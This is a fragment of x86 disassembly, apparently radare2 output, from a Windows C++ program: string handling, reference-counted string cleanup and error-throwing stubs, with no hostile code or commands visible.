lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x71
call fcn.0042f1c0
test al, al
jne 0x40be04
push 0
push 0x59678c
lea ecx, [ebp - 0x28]
call fcn.0042f4f0
mov byte [ebp - 4], 0x72
call fcn.0042ef50
mov ecx, eax
test ecx, ecx
je 0x40c407
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x18], eax
push 0x59678c
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 0x73
call fcn.0042f1c0
test al, al
jne 0x40be48
push 0
push 0x59678c
lea ecx, [ebp - 0x18]
call fcn.0042f4f0
mov byte [ebp - 4], 0x74
call fcn.0042ef50
mov ecx, eax
test ecx, ecx
je 0x40c411
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x20], eax
push 0x59678c
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x75
call fcn.0042f1c0
test al, al
jne 0x40be8c
push 0
push 0x59678c
lea ecx, [ebp - 0x20]
call fcn.0042f4f0
push ecx
mov byte [ebp - 4], 0x76
mov edi, esp
mov dword [ebp - 0x34], edi
mov ecx, dword [ebp - 0x9c]
lea ecx, [ecx - 0x10]
call fcn.0042e860
add eax, 0x10
lea ecx, [ebp - 0x40]
mov dword [edi], eax
call fcn.004453e0
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x77
mov dword [ebp - 0x14], esp
mov edi, dword [ebp - 0x50]
lea ecx, [edi - 0x10]
call fcn.0042e860
mov ecx, esp
add eax, 0x10
mov dword [ecx], eax
lea ecx, [ebp - 0x24]
call fcn.004453e0
add esp, 4
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x78
mov edx, dword [ebp - 0x1c]
push ecx
lea ecx, [ebp - 0x18]
push ecx
lea ecx, [ebp - 0x20]
push ecx
mov ecx, eax
call fcn.0045ae10
mov edx, dword [ebp - 0x24]
add esp, 0xc
add edx, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40bf10
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x40]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40bf2b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x20]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40bf46
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x18]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40bf61
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x28]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40bf7c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x84]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40bf9a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x74]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40bfb5
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x88]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40bfd3
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x68]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40bfee
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x6c]
or eax, 0xffffffff
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c009
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x12c]
cmp ecx, 8
jb 0x40c049
mov edx, dword [ebp - 0x140]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c03f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c41b
push ecx
push edx
call fcn.0054f7f4
add esp, 8
mov ecx, dword [ebp - 0x144]
cmp ecx, 8
jb 0x40c089
mov edx, dword [ebp - 0x158]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c07f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c41b
push ecx
push edx
call fcn.0054f7f4
add esp, 8
mov ecx, dword [ebp - 0x15c]
cmp ecx, 8
jb 0x40c0c9
mov edx, dword [ebp - 0x170]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c0bf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c41b
push ecx
push edx
call fcn.0054f7f4
add esp, 8
mov edx, dword [ebp - 0xb8]
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c0e4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0xbc]
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c0ff
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea edx, [esi - 0x10]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c119
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0xa4]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c136
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0xa0]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c153
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x174]
cmp ecx, 8
jb 0x40c193
mov edx, dword [ebp - 0x188]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c189
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c41b
push ecx
push edx
call fcn.0054f7f4
add esp, 8
mov ecx, dword [ebp - 0x114]
cmp ecx, 8
jb 0x40c1d3
mov edx, dword [ebp - 0x128]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40c1c9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40c41b
push ecx
push edx
call fcn.0054f7f4
add esp, 8
mov edx, dword [ebp - 0xa8]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c1f0
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x70]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c20a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x9c]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c227
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x94]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c244
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x98]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40c261
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
add edi, 0xfffffff0
lock xadd dword [edi + 0xc], esi
dec esi
test esi, esi
jg 0x40c276
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4
push 0x80004005
call fcn.0042f4d0
push 0x80004005
call fcn.0042f4d0
push 0x80004005
call fcn.0042f4d0
push 0x80004005
call fcn.0042f4d0
push 0x80004005
call fcn.0042f4d0
push 0x80004005
call fcn.0042f4d0
push 0x80004005
call fcn.0042f4d0
push 0x80004005
call fcn.0042f4d0
push 0x80004005
call fcn.0042f4d0
push 0x80004005
call fcn.0042f4d0
push 0x80004005
call fcn.0042f4d0
push 0x80004005
call fcn.0042f4d0
push 0x80004005
call fcn.0042f4d0
push 0x80004005
call fcn.0042f4d0
push 0x80004005
call fcn.0042f4d0
push 0x80004005
call fcn.0042f4d0
push 0x80004005
call fcn.0042f4d0
push 0x80004005
call fcn.0042f4d0
push 0x80004005
call fcn.0042f4d0
push 0x80004005
call fcn.0042f4d0
push 5
call fcn.0053930e
call fcn.00426410
push str.stoll_argument_out_of_range
call fcn.005391d8
push str.invalid_stoll_argument
call fcn.00539198
call fcn.0042f400
push 0x80070057
call fcn.0042f4d0
dec eax
push 6
mov dword [edi + 0x2c], eax
call fcn.0053930e
push 0x80004005
call fcn.0042f4d0
push 0x80004005
call fcn.0042f4d0
push 0x80004005
call fcn.0042f4d0
push 0x80004005
call fcn.0042f4d0
push 0x80004005
call fcn.0042f4d0
push 0x80004005
call fcn.0042f4d0
push 0x80004005
call fcn.0042f4d0
push 0x80004005
call fcn.0042f4d0
push 0x80004005
call fcn.0042f4d0
call fcn.00554885
push 6
mov dword [ebp - 0x8c], 0
call fcn.0053930e
push 0x80004005
call fcn.0042f4d0
push 0x80004005
call fcn.0042f4d0
push 0x80004005
call fcn.0042f4d0
call fcn.005546cf
int3